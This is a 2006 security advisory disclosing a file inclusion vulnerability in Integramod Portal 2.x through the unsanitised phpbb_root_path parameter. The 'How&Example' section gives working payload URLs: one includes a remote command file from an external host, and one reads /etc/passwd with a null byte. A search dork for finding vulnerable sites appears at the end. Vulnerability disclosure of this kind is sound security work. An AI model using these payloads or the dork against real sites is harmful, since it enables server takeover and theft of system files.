Advisory: Integramod Portal <= 2.x File Inclusion Vulnerability
--Security Report--
Advisory: Integramod Portal <= 2.x File Inclusion Vulnerability
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Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
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Date: 24/08/06 03:00 AM
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Contacts:{
ICQ: 10072
MSN/Email: nukedx@xxxxxxxxxx
Web: http://www.nukedx.com
}
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Vendor: Integramod (http://www.integramod.com)
Version: 2.x and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to
Integramod.Variable phpbb_root_path did not sanitized properly before using
it on includes/functions_portal.php so remote attacker can include internal
and external files to VistaBB
For including internal files magic_quotes_gpc must be off on server settings
because remote attacker needs to use null char at the end of filename.
Eg: /etc/passwd%00
Level: Highly Critical
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How&Example:
GET ->
http://[site]/[integramodpath]/includes/functions_portal.php?phpbb_root_path=[FILE]
EXAMPLE ->
http://[site]/[integramodpath]/includes/functions_portal.php?phpbb_root_path=http://yoursite.com/cmd.txt?
EXAMPLE ->
http://[site]/[integramodpath]/includes/functions_portal.php?phpbb_root_path=/etc/passwd%00
<- mq off
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Timeline:
* 24/08/2006: Vulnerability found.
* 24/08/2006: Contacted with vendor and waiting reply.
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Exploit: http://www.nukedx.com/?getxpl=47
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Original advisory can be found at: http://www.nukedx.com/?viewdoc=47
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Dorks: "Powered by Integramod"